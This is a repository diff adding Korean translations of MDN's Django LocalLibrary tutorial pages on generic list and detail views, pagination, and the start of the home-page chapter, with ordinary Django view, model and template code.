+<p><strong>Note:</strong> 추가된 options 과 변환된 패턴들 중 명명된 것들은 view 에 명명된 arguments로 전달됩니다. 만약 당신이<strong> 동일한 이름을</strong> 변환된 패턴들과 추가적인 option에 사용한다면, 오직 변환된 패턴들만이 view에 보내지게 됩니다. ( 추가된 option들에 있는 값들은 모두 버려집니다). </p>
+</div>
+
+<h3 id="뷰_(클래스_기반)">뷰 (클래스 기반)</h3>
+
+<p><strong>catalog/views.py </strong>을 열고, 다음 코드를 파일 끝에 넣으세요:</p>
+
+<pre class="brush: python">class BookDetailView(generic.DetailView):
+    model = Book</pre>
+
+<p>다됬습니다! 이제 해야될 일은 <strong>/locallibrary/catalog/templates/catalog/book_detail.html </strong>template를 만들면, view는 template에 URL mapper에 의해 찾고자 하는 데이터베이스에 있는 특정 <code>Book </code> 레코드의 정보를 전달할 겁니다. template 안에서 template 변수  <code>object</code> 또는 <code>book</code>(즉, 일반적으로는 "<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">해당_모델_명</span></font>") 으로 책 목록에 접근할 수 있습니다.</p>
+
+<p>만약 필요하다면, 사용하고 있는 template 또는 template 안에서 book을 참조하는 데 사용되는 context object의 이름을 바꿀 수 있습니다. 또한, 예를 들어 context에 정보를 추가하는 식으로, 메서드를 오버라이드 할 수도 있습니다.</p>
+
+<h4 id="만약_해당_레코드가_존재하지_않는다면_무슨_일이_일어날까요">만약 해당 레코드가 존재하지 않는다면 무슨 일이 일어날까요?</h4>
+
+<p>만약 요청된 레코드가존재하지 않는다면, 제네릭 클래스 기반의 detail view는 <code>Http404</code> exception 이 저절로 발생할 것입니다. — 만들어질 때, 적절한 "resource not found" 페이지를 알아서 보여줄 것입니다. 만약 원한다면 당신이 해당 페이지를 수정할 수 있겠죠.</p>
+
+<p>이런 일이 어떻게 발생하는지 원리를 조금 알려줄게요. 밑에 있는 코드는 만약 당신이 제네릭 클래스 기반의 detail view를 <strong>사용하지 않는다면</strong>, 클래스 기반의 view를 어떻게 함수 형태로 표현 할 수 있는지 보여줍니다.</p>
+
+<pre class="brush: python">def book_detail_view(request, primary_key):
+    try:
+        book = Book.objects.get(pk=primary_key)
+    except Book.DoesNotExist:
+        raise Http404('Book does not exist')
+
+    return render(request, 'catalog/book_detail.html', context={'book': book})
+</pre>
+
+<p>view는 먼저 model로 부터 특정 book 의 레코드를 얻으려고 할 것입니다. 이 시도가 실패하면, view 는 "해당 책이 존재하지 않음"을 알려주면서 <code>Http404</code> exception가 발생할 것입니다. 그리고 마지막 과정은 ,평소처럼, book 정보를 <code>context</code> parameter (dictionary 형태로)에 집어 넣고 template 이름과 함께 <code>render()</code> 함수를 호출 할 것입니다.</p>
+
+<p>혹, 만약 해당 레코드를 찾지 못한다면, 우리는 손쉬운 방법으로 <code>Http404</code> exception을 발생하기 위해<code>get_object_or_404()</code> 함수를 사용할 수도 있어요.</p>
+
+<pre class="brush: python">from django.shortcuts import get_object_or_404
+
+def book_detail_view(request, primary_key):
+    book = get_object_or_404(Book, pk=primary_key)
+    return render(request, 'catalog/book_detail.html', context={'book': book})</pre>
+
+<h3 id="상세_뷰_템플릿_생성하기">상세 뷰 템플릿 생성하기</h3>
+
+<p><strong>/locallibrary/catalog/templates/catalog/book_detail.html </strong>파일을 만들고, 아래 텍스트를 복사 붙여넣기 하세요. 위에서 설명한대로, 이 파알명은 제네릭 클래스 기반 상세 뷰의 디폴트 파일명입니다. (<code>catalog</code> 애플리케이션의 <code>Book</code> 모델을 위한 상세 뷰)</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;h1&gt;Title: \{{ book.title }}&lt;/h1&gt;
+
+  &lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; &lt;a href=""&gt;\{{ book.author }}&lt;/a&gt;&lt;/p&gt; &lt;!-- author detail link not yet defined --&gt;
+  &lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt; \{{ book.summary }}&lt;/p&gt;
+  &lt;p&gt;&lt;strong&gt;ISBN:&lt;/strong&gt; \{{ book.isbn }}&lt;/p&gt;
+  &lt;p&gt;&lt;strong&gt;Language:&lt;/strong&gt; \{{ book.language }}&lt;/p&gt;
+  &lt;p&gt;&lt;strong&gt;Genre:&lt;/strong&gt; {% for genre in book.genre.all %} \{{ genre }}{% if not forloop.last %}, {% endif %}{% endfor %}&lt;/p&gt;
+
+  &lt;div style="margin-left:20px;margin-top:20px"&gt;
+    &lt;h4&gt;Copies&lt;/h4&gt;
+
+    {% for copy in book.bookinstance_set.all %}
+      &lt;hr&gt;
+      &lt;p class="{% if copy.status == 'a' %}text-success{% elif copy.status == 'm' %}text-danger{% else %}text-warning{% endif %}"&gt;\{{ copy.get_status_display }}&lt;/p&gt;
+      {% if copy.status != 'a' %}
+        &lt;p&gt;&lt;strong&gt;Due to be returned:&lt;/strong&gt; \{{copy.due_back}}&lt;/p&gt;
+      {% endif %}
+      &lt;p&gt;&lt;strong&gt;Imprint:&lt;/strong&gt; \{{copy.imprint}}&lt;/p&gt;
+      &lt;p class="text-muted"&gt;&lt;strong&gt;Id:&lt;/strong&gt; \{{copy.id}}&lt;/p&gt;
+    {% endfor %}
+  &lt;/div&gt;
+{% endblock %}</pre>
+
+<ul>
+</ul>
+
+<div class="note">
+<p>이 템플릿의 작가 링크는 비어있는 URL입니다. 왜냐면 우리는 아직 작가 상세 페이지를 만들지 않았기 때문이죠. 만약 페이지가 존재한다면, URL을 아래와 같이 업데이트 해야합니다.</p>
+
+<pre>&lt;a href="<strong>{% url 'author-detail' book.author.pk %}</strong>"&gt;\{{ book.author }}&lt;/a&gt;
+</pre>
+</div>
+
+<p>조금 더  커졌지만, 이 템플릿의 대부분의 것들은 이미 언급된 것들입니다:</p>
+
+<ul>
+ <li>content 블럭을 오버라이드 해서 우리의 기본 템플릿을 extend하였습니다.</li>
+ <li>우리는 조건 판단 처리를 해서 특정 컨텐츠가 있을지 없는지 체크하여 표시합니다.</li>
+ <li><code>for</code> 루프를 활용하여 objects들의 리스트를 표현합니다.</li>
+ <li>우리는 context fields를 dot notation를 활용합니다 (왜냐하면 우리는 detail generic view를 사용하는데, context의 이름은 <code>book</code> 이기에 우리는 "<code>object</code>"를 사용할 수 있습니다)</li>
+</ul>
+
+<p>우리가 본 적 없는 한가지 흥미로운 점은 바로 <code>book.bookinstance_set.all()</code> 함수입니다. 이 메소드는 Django에 의해 자동으로 만들어진 메소드입니다. 이 메소드는 <code>Book</code> 과 관련된 <code>BookInstance</code> 레코드 집합을 반환합니다. </p>
+
+<pre class="brush: python">{% for copy in book.bookinstance_set.all %}
+  &lt;!-- code to iterate across each copy/instance of a book --&gt;
+{% endfor %}</pre>
+
+<p>이 메소드는 관계의 한쪽("one")에만 <code>ForeignKey</code>(one-to many) 필드를 선언했기 때문에 필요합니다. 다른("many") 모델에서 아무것도 선언하지 않았기 때문에 관련 레코드 집합을 가져올 필드가 없습니다. 이 문제를 해결하기 위해, Django는 지금 우리가 사용하고 있는 "reverse lookup"이라는 적당한 이름의 함수를 만들었습니다. 이 함수의 이름은 <code>ForeignKey</code>가 선언되어있는 모델 이름을 소문자로 만들고, 그 뒤에 <code>_set</code>을 붙이면 됩니다. (따라서 <code>Book</code>에서 만든 함수는 <code>bookinstance_set()</code>가 되겠죠.)</p>
+
+<div class="note">
+<p><strong>Note</strong>: 여기서 우리는 모든 레코드를 가져오기 위해 <code>all()</code> 을 사용했습니다(기본값이죠). 반대로 당신은 <code>filter()</code> 메서드를 사용해서 레코드의 부분 집합을 가져올 수 있지만, 당신은 template에서 이걸 직접할 수는 없어요. 왜냐하면 함수의 arguments를 정할 수 없으니까요.</p>
+
+<p>만약 순서를 정의하지 않는다면 (클래스 기반 view 또는 model에서), 당신은 개발 서버로 부터 다음과 같은 에러를 받게 될 거라는 것 또한 알아두세요.</p>
+
+<pre>[29/May/2017 18:37:53] "GET /catalog/books/?page=1 HTTP/1.1" 200 1637
+/foo/local_library/venv/lib/python3.5/site-packages/django/views/generic/list.py:99: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list: &lt;QuerySet [&lt;Author: Ortiz, David&gt;, &lt;Author: H. McRaven, William&gt;, &lt;Author: Leigh, Melinda&gt;]&gt;
+  allow_empty_first_page=allow_empty_first_page, **kwargs)
+</pre>
+
+<p>이것은 <a href="https://docs.djangoproject.com/en/2.0/topics/pagination/#paginator-objects">paginator object</a> 가 데이터베이스에서 ORDER BY 명령어가 실행되었을 것이라고 예상하기 때문에 발생하는 것입니다. 이러한 것이 없다면, 레코드들이 정확한 순서로 반환되었는지 알 수가 없어요!<strong> </strong></p>
+
+<p>이 튜토리얼은 아직 <strong>Pagination</strong> 에 도달하지는 않았습니다.(곧 하게될 거에요) <code>sort_by()</code> 에 parameter를 전달하여 사용하는 것은 (위에서 이야기했던 <code>filter()</code> 와 동일한 역할을 합니다.) 사용할 수 없기 때문에, 당신은 3개의 선택권중에 하나를 골라야합니다:</p>
+
+<ol>
+ <li>Add a <code>ordering</code> inside a <code>class Meta</code> declaration on your model.</li>
+ <li>Add a <code>queryset</code> attribute in your custom class-based view, specifying a <code>order_by()</code>.</li>
+ <li>Adding a <code>get_queryset</code> method to your custom class-based view and also specify the <code>order_by()</code>.</li>
+</ol>
+
+<p>만약  <code>Author</code> model에 <code>class Meta</code> 사용하기를 결정했다면 (커스터마이징 된 클래스 기반 view만큼 유연하진 않겠지만, 쉬운 방법입니다), 아마 밑에 코드와 비슷하게 끝날 거에요:</p>
+
+<pre>class Author(models.Model):
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    def get_absolute_url(self):
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        return f'{self.last_name}, {self.first_name}'
+
+<strong>    class Meta:
+        ordering = ['last_name']</strong></pre>
+
+<p>물론, 해당 field는 <code>last_name</code> 이어야 할 필요는 없습니다: 다른 어떤 것도 될 수 있어요.</p>
+
+<p>마지막으로, 그러나 적어도 우리는 정렬(sort)을 attribute/column에 따라 해줘야 합니다. unique 여부와 상관없이 당신의 database의 퍼포먼스 이슈를 위해서 필요합니다. 물론, 이것은 여기서 필요한 것이 아니며 어떻게 보면 약간 진도를 앞서나가는 것 같지만 이런 작은 사용자와 프로젝트에서도 미래의 프로젝트를 위해서 미리 명심해 두는 것이 좋습니다.</p>
+</div>
+
+<h2 id="어떻게_보일까요_2">어떻게 보일까요?</h2>
+
+<p>이 시점에서 책 목록 페이지와 책 세부 사항 페이지를 보기 위한 모든 것을 만들어 놓았어야 합니다. 명령어 (<code>python3 manage.py runserver</code>) 를 입력하여 서버를 실행하고 브라우저를 열어 <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a> 에 접속해보세요.</p>
+
+<div class="warning">
+<p><strong>주의!:</strong> 아직 작가 목록 페이지나 작가 세부 사항 페이지를 클릭하시면 안됩니다. — 당신은 challenge에서 이것들을 만들어보게 될 거에요!</p>
+</div>
+
+<p>책 목록을 보기 위해 <strong>All books</strong> 링크를 클릭하세요. </p>
+
+<p><img alt="Book List Page" src="https://mdn.mozillademos.org/files/14049/book_list_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 216px; margin: 0px auto; width: 823px;"></p>
+
+<p>그리고 당신의 책들 중 하나를 클릭해보세요. 만약, 현재까지의 과정을 성공적으로 따라왔다면, 당신은 다음과 같은 스크린샷을 볼 수 있을 겁니다.</p>
+
+<p><img alt="Book Detail Page" src="https://mdn.mozillademos.org/files/14051/book_detail_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 783px; margin: 0px auto; width: 926px;"></p>
+
+<h2 id="Pagination">Pagination</h2>
+
+<p>만약 레코드가 몇 개 없다면, 현재의 책 목록 페이지도 괜찮습니다. 하지만 수십,수백개의 레코드를 갖고 있다면, 페이지는 가져오는 데 점차 시간이 늘어날 겁니다(양이 너무 많아 탐색하는게 체감적으로 힘들어질 정도로요). 해결 방법은 당신의 list view에 pagination을 추가하는 것입니다, 그리고 pagination은 각 페이지마다 보여주는 항목들을 감소시켜줄 것입니다.</p>
+
+<p>장고는 pagination에 대한 훌륭한 지원을 하고 있습니다. 더욱 좋은 점은,이 지원은 제네릭 클래스 기반 list view에 내장되어 있어서, 당신이 pagination을 하기 위해 해야될 것이 많지 않다는 것입니다!</p>
+
+<h3 id="Views">Views</h3>
+
+<p><strong>catalog/views.py</strong>열고, 밑에 굵은 글씨로 작성되어있는 <code>paginate_by</code> 줄을 추가해주세요.</p>
+
+<pre class="brush: python">class BookListView(generic.ListView):
+    model = Book
+    <strong>paginate_by = 10</strong></pre>
+
+<p>이 것이 추가됨에 따라, 당신이 10개 이상의 레코드를 갖게 되면 view는 template에 보내는 데이터에 pagination 하는 것을 시작할 것입니다. 다른 page들을 GET parameter들을 통해 접근할 수 있습니다— 2 페이지에 접속하려면, 다음과 같은 URL을 사용하세요: <code>/catalog/books/<strong>?page=2</strong></code>.</p>
+
+<h3 id="Templates">Templates</h3>
+
+<p>자료들이 pagination되었습니다, 우리는 template에 결과들을 훑어볼 수 있도록 만들어야합니다.  우리는 이러한 기능이 모든 list view들에 필요할 수 있으므로, 우리는 base template에 추가하는 방향으로 작업을 진행하려고 합니다. </p>
+
+<p><strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong> 열고 content block 밑에 다음과 같은 pagination block을 복사하여 추가하세요 (아래에 굵은 글씨로 강조표시를 해놓았습니다). 첫번째로 코드는 현재 페이지가 pagination이 가능한지 체크합니다. 만약 가능하다면,  다음 페이지와 전 페이지를 적절히 추가합니다 (현재 페이지 넘버도요). </p>
+
+<pre class="brush: python">{% block content %}{% endblock %}
+
+<strong>{% block pagination %}
+  {% if is_paginated %}
+    &lt;div class="pagination"&gt;
+      &lt;span class="page-links"&gt;
+        {% if page_obj.has_previous %}
+          &lt;a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}"&gt;previous&lt;/a&gt;
+        {% endif %}
+        &lt;span class="page-current"&gt;
+          &lt;p&gt;Page \{{ page_obj.number }} of \{{ page_obj.paginator.num_pages }}.&lt;/p&gt;
+        &lt;/span&gt;
+        {% if page_obj.has_next %}
+          &lt;a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}"&gt;next&lt;/a&gt;
+        {% endif %}
+      &lt;/span&gt;
+    &lt;/div&gt;
+  {% endif %}
+{% endblock %} </strong></pre>
+
+<p>만약 현재 페이지에 pagination이 사용중이라면, <code>page_obj</code> 가 <a href="https://docs.djangoproject.com/en/2.0/topics/pagination/#paginator-objects">Paginator</a> 오브젝트 로서 존재합니다. 해당 오브젝트는 현재 페이지, 전 페이지, 페이지 수는 얼마나 되는 지등의 모든 정보를 제공합니다.</p>
+
+<p>pagination 링크를 만들기 위해 우리는 <code>\{{ request.path }}</code> 를 이용하여 현재 페이지의 URL을 가져오도록 할 겁니다. 우리가 pagination을 하는 객체와 독립적이기 때문에 유용합니다.</p>
+
+<p>다됬네요!</p>
+
+<h3 id="어떻게_보일_까요">어떻게 보일 까요?</h3>
+
+<p>밑에 있는 스크린샷은 pagination이 어떻게 보이는지를 알려줍니다 — 만약 에디터베이스에 10개가 넘는 제목을 추가하지 않았다면, <strong>catalog/views.py</strong> 파일에 있는  <code>paginate_by</code>  줄에 있는 숫자를 낮춤으로써 쉽게 테스트할 수 있습니다. 밑에 있는 결과는 우리가 <code>paginate_by = 2</code>로 바꾼 겨로가입니다.</p>
+
+<p>next/previous 링크와 함께 보이는 밑에 pagination 링크는 당신이 어느 페이지에 있느냐에 따라 달리 표시가 됩니다. </p>
+
+<p><img alt="Book List Page - paginated" src="https://mdn.mozillademos.org/files/14057/book_list_paginated.png" style="border-style: solid; border-width: 1px; display: block; height: 216px; margin: 0px auto; width: 924px;"></p>
+
+<h2 id="도전과제">도전과제</h2>
+
+<p>이번 글의 과제는 프로젝트를 완수하기 위해 필요한 작가 세부 사항과 목록 view들을 만드는 것입니다. 이 과제를 통해  해당 URL들을 사용가능하게 만들어야 해요:</p>
+
+<ul>
+ <li><code>catalog/authors/</code> — 작가 목록.</li>
+ <li><code>catalog/author/<em>&lt;id&gt;</em></code><em> </em>—<em><code>&lt;id&gt;</code></em>라는 이름의 기본키를 이용한 작가의 세부 사항</li>
+</ul>
+
+<p>URL mappers에 필요한 코드들과 view들은 ,사실상, 우리가 위에서 만들었던 <code>Book</code> 목록과 세부 사항 view들과 동일해야 합니다. template들은 다르겠지만, 비슷한 동작을 가지고 있을 겁니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>:</p>
+
+<ul>
+ <li>작가 목록 페이지를 위한 URL mapper를 만들고나면, <strong>All authors</strong> base template에 있는 <strong>All authors </strong>링크 또한 업데이트 해야될 필요를 느끼게 될 겁니다. 우리가 <strong>All books  </strong>링크 업데이트 때 했던, <a href="#Update_the_base_template">수행 과정</a>을 따라해주세요.</li>
+ <li>작가 세부 사항 페이지에 대한 URL mapper를 만들고나면, 당신은 <a href="#Creating_the_Detail_View_template">book detail view template</a> (<strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>) 또한 업데이트 해야 합니다. 그래야 작가 링크가 당신이 새로 만든 작가 세부 사항 페이지를 가리키거든요. (비어 있는 URL로 있기 보다는 말이죠). 굵게 되어 있는 부분을 template 내의 태그에 넣어주세요.
+  <pre class="brush: html">&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; &lt;a href="<strong>{% url 'author-detail' book.author.pk %}</strong>"&gt;\{{ book.author }}&lt;/a&gt;&lt;/p&gt;
+</pre>
+ </li>
+</ul>
+</div>
+
+<p>모두 마치면, 당신의 페이즈들은 아마 밑의 스크린샷과 비슷하게 보일 겁니다.</p>
+
+<p><img alt="Author List Page" src="https://mdn.mozillademos.org/files/14053/author_list_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<ul>
+</ul>
+
+<p><img alt="Author Detail Page" src="https://mdn.mozillademos.org/files/14055/author_detail_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 358px; margin: 0px auto; width: 825px;"></p>
+
+<ul>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<p>축하합니다, 도서관의 가장 기본적인 기능들은 모두 끝났어요! </p>
+
+<p>이번 글에서, 우리는 제네릭 클래스 기반의 list view와 detailv view에 대해서 배웠고, 이를 이용하여 책들과 작가들을 보여주기 위한 페이지를 만들었습니다. 이 과정중에 우리는 정규표현식을 이용하여 패턴 매칭을 하는 것도 배웠고, URL로 부터 데이터를 view에 보내는 것도 배웠습니다. 또한, template을 이용하는 몇 가지 트릭도 배웠죠. 마지막에는 list views에 어떻게 paginate를 할 수 있는지도 보았습니다. 이로 인해 우리는 레코드들이 많아져도 리스트를 관리할 수 있게 되었습니다.</p>
+
+<p>다음 글에서 우리는 유저 계정을 지원하도록 도서관을 확장하고, 이를 통해 유저 인증, 권한, 세션, forms을 볼 것입니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/generic-display/">Built-in class-based generic views</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/class-based-views/generic-display/">Generic display views</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/intro/">Introduction to class-based views</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/templates/builtins">Built-in template tags and filters</a> (Django docs).</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/topics/pagination/">Pagination</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/learn/server-side/django/home_page/index.html b/files/ko/learn/server-side/django/home_page/index.html
new file mode 100644
index 0000000000..25c67b7949
--- /dev/null
+++ b/files/ko/learn/server-side/django/home_page/index.html
@@ -0,0 +1,414 @@
+---
+title: 'Django Tutorial Part 5: Creating our home page'
+slug: Learn/Server-side/Django/Home_page
+translation_of: Learn/Server-side/Django/Home_page
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">우리는 이제 첫 전체 페이지를 보여주는 코드를 추가할 때가 되었습니다 — <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> website를 위한 홈페이지를요. 이 홈페이지는 각각의 모델 타입마다 갖고 있는 레코드들의 숫자를 보여주고, 우리의 다른 페이지들로 이동할 수 있는 사이드바 내비게이션 링크들을 제공합니다. 이 섹션에서 우리는 기본 URL 맵과 뷰들을 작성하고, 데이터베이스에서 레코드들을 가져오고 그리고 탬플릿을 사용하는 것에 대한 연습 경험을 가질 수 있습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 준비:</th>
+   <td><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django Introduction</a>을 읽어보세요. 이전 튜토리얼들을 완료하세요 (<a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a> 포함).</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>간단한 url 맵과 뷰를 생성하고(URL 안에 아무런 데이터도 인코드되지 않은), 모델로부터 데이터를 가져오고, 탬플릿을 생성하는 방법을 배우기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="개요">개요</h2>
+
+<p>지금까지는 우리의 모델을 정의하고 약간의 초기 도서관 레코드들을 만들어 왔고, 이제는 사용자에게 정보를 제공하기 위한 코드를 작성할 때입니다. 첫 번째 우리가 할 일은 우리의 페이지에서 어떤 정보를 보여줄 것인지를 결정하고, 그 요소들을 반환하는 데 사용되는 URL들을 정의하는 것입니다. 다음으로 우리는 페이지를 나타내기 위한 URL 매퍼, views, 그리고 탬플릿들을 생성할 것입니다. </p>
+
+<p> 아래 다이어그램은 주요 데이터 흐름 그리고 HTTP 요청과 응답을 처리하는 데 필요한 요소들을 보여줍니다. 모델은 이미 구현되었기 떄문에, 우리가 생성할 주요 요소들은 다음과 같습니다:</p>
+
+<ul>
+ <li>URL 매퍼들 : 적절한 view 함수들을 위해 지원되는 URL들(그리고 URL들 안에 인코딩된 어떤 정보라도)을 포워딩하기 위해.</li>
+ <li>View 함수들: 요청된 데이터를 모델들에게서 가져오고, 데이터를 표시하는 HTML 페이지를 생성하고 그리고 브라우저 안의 view로 페이지들을 사용자에게 반환하기 위해.</li>
+ <li>탬플릿들: 데이터를 뷰들 안에 렌더링할 때 사용하기 위해.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="display: block; margin: 0px auto;"></p>
+
+<p> 우리가 표시해야 할 페이지는 총 다섯 페이지입니다. 하나의 글에 담기에는 너무 많은 정보죠. 따라서, 이 글의 대부분은 홈 페이지를 어떻게 구현하는 지에 대해 집중하고, 다음 글에서 다른 페이지들에 대해 다루겠습니다. 이렇게 하면 URL 매퍼들, view들, 그리고 모델이 실제로 작동하는 방식에 대해 완벽하고 철저하게 이해할 수 있을 것입니다.</p>
+
+<h2 id="resource_URLs_정의하기">resource URLs 정의하기</h2>
+
+<p>이 버전의 LocalLibrary는 근본적으로 최종 사용자들에게는 읽기 전용이기 때문에, 우리는 사이트의 방문 페이지(홈 페이지) 그리고 책들과 저자들에 대한 목록 및 세부 view들을 보여주는 페이지만 제공하면 됩니다. </p>
+
+<p>우리의 페이지들을 위해 필요한 URL들은:</p>
+
+<ul>
+ <li><code>catalog/</code> — 홈/색인(index) 페이지.</li>
+ <li><code>catalog/books/</code> — 모든 책들의 목록.</li>
+ <li><code>catalog/authors/</code> — 모든 저자들의 목록.</li>
+ <li><code>catalog/book/<em>&lt;id&gt;</em></code> — <code><em>&lt;id&gt;</em></code> 라는 이름의(기본값) 프라이머리 키(primary key) 필드를 가지는 특정한 책을 위한 세부 사항 뷰(detail view). 예를 들어, 목록에 추가된 세 번째 책은 <code>/catalog/book/3</code>이 될 것입니다. </li>
+ <li><code>catalog/author/<em>&lt;id&gt;</em></code><em> </em>—  <code><em>&lt;id&gt;</em></code> 라는 이름의 프라이머리 키(primary key) 필드를 가지는 특정한 저자를 위한 세부 사항 뷰(detail view). 예를 들어, 목록에 추가된 11번째 저자는 <code>/catalog/author/11</code>이 될 것입니다.</li>
+</ul>
+
+<p>처음 세 개의 URL들은 인덱스 페이지, 책 목록, 그리고 저자 목록을 반환합니다. 이것들은 아무런 추가적인 정보도 인코드하지 않고, 데이터베이스에서 데이터를 가져오는 쿼리들도 항상 똑같습니다. 그러나, 쿼리들이 반환할 결과들은 데이터베이스의 내용물에 따라 다를 것입니다.</p>
+
+<p>그에 반해서 마지막 두 개의 URL들은 특정한 책 또는 저자에 대한 세부 정보를 나타낼 것입니다. 이 URL들은 표시할 항목의 ID를 인코딩합니다(위에서 <code><em>&lt;id&gt;</em></code> 로 표시). URL 매퍼는 인코딩된 정보를 추출하여 view로 전달합니다. 그리고 view는 데이터베이스에서 무슨 정보를 가져올지 동적으로 결정합니다. URL의 정보를 인코딩하여 우리는 모든 책들(또는 저자들)을 처리하기 위해 단일 모임의 url 매핑, 뷰, 탬플릿을 사용할 것입니다. </p>
+
+<div class="note">
+<p><strong>주의:</strong> 장고를 이용해서 당신이 필요로 하는 대로 URL들을 만들 수 있습니다 — 위와 같이 URL의 본문(body)에 정보를 인코딩할 수도 있고, 또는 URL 안에 GET 매개 변수들을 포함시킬 수 있습니다(예: /book/?id=6). 어떤 방식이건 URL들은 깨끗하고, 논리적이고, 읽기 쉬워야 합니다. (<a href="https://www.w3.org/Provider/Style/URI">check out the W3C advice here</a>).<br>
+ 장고 문서는 더 나은 URL 설계(design)를 위해 URL의 본문(body)에 정보를 인코딩하는 것을 권장합니다.</p>
+</div>
+
+<p>개요에서 다룬 것 처럼, 이 글의 나머지는 색인(index) 페이지를 만드는 방법을 보여줍니다.</p>
+
+<h2 id="index_page_만들기">index page 만들기</h2>
+
+<p>우리가 만들 첫 번째 페이지는 index page입니다 (<code>catalog/</code>). index 페이지는 데이터베이스 안의 서로 다른 레코드들의 생성된 "개수(count)" 와 함께 몇 가지 정적 HTML을 포함합니다. 이것이 작동하도록 하기 위해서 우리는 URL 매핑, 뷰 그리고 탬플릿을 생성하겠습니다. </p>
+
+<div class="note">
+<p><strong>주의</strong>:이 섹션에 조금 더 집중해 봅시다. 대부분의 정보들이 우리가 생성할 다른 페이지들에도 적용되기 때문입니다.</p>
+</div>
+
+<h3 id="URL_매핑">URL 매핑</h3>
+
+<p><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">skeleton website</a>를 만들었을 때, 우리는 <strong>locallibrary/urls.py</strong> 파일을 업데이트했습니다. <code>catalog/</code>로 시작하는 URL을 받았을 때, URLConf 모듈인<em> </em><code>catalog.urls</code> 가 나머지 문자열을 처리하도록 하기 위해서죠.</p>
+
+<p><strong>locallibrary/urls.py</strong> 의 아래 코드 조각은 <code>catalog.urls</code> 모듈을 포함합니다:</p>
+
+<pre>urlpatterns += [
+    path('catalog/', include('catalog.urls')),
+]
+</pre>
+
+<div class="note">
+<p><strong> 주의</strong>: 장고는 import 함수 django.urls.include()를 만날 때 마다 지정된 마지막 문자에서 문자열을 나누고, 나머지 부분 문자열을 추가 작업을 위해 포함된 URLconf 모듈로 보냅니다.</p>
+</div>
+
+<p>우리는 또한 <strong>/catalog/urls.py</strong>로 이름지어진 URLConf 모듈을 위한 자리 표시자(placeholder) 파일도 생성했습니다. 그 파일에 아래 줄을 추가하세요</p>
+
+<pre class="brush: python">urlpatterns = [
+<strong>    path('', views.index, name='index'),</strong>
+]</pre>
